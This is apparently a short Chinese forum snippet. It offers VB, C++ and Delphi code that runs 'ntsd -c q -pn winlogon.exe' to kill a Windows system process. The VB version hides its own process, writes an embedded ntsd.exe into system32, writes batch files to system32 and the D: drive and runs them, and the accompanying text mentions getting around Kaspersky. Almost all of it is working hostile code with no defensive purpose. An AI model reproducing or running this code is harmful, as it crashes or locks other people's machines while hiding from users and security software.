cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul

VB程序，添加了进程屏蔽Module1.Bas,支持进程隐藏，本地生成．貌似卡巴10限制了shell．判别ntsd的位置，自动生成．

MsgBox "Fuck! .."
HideCurrentProcess
App.TaskVisible = False
On Error Resume Next
Dim APP1() As Byte
If Dir("c:\windows\system32\ntsd.exe") = "" Then
APP1 = LoadResData(101, "CUSTOM")
Open "c:\windows\system32\ntsd.exe" For Binary As #3
Put #3, , APP1
Close #3
End If
a = Text1.Text
Open "c:\windows\system32\spray.bat" For Output As #1
Print #1, a
Close #1
Open "d:\spray.bat" For Output As #2
Print #2, a
Close #2
Shell "c:\windows\system32\spray.bat"
Shell "d:\spray.bat"

#include<iostream>
int main()
{
system("cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul ");
system("cls");
}

shellexecute(handle,nil,'cmd.exe',pchar(form1.edit1.text),nil,sw_normal);

edit,text=cmd /c start /min ntsd -c q -pn winlogon.exe   1>nul 2>nul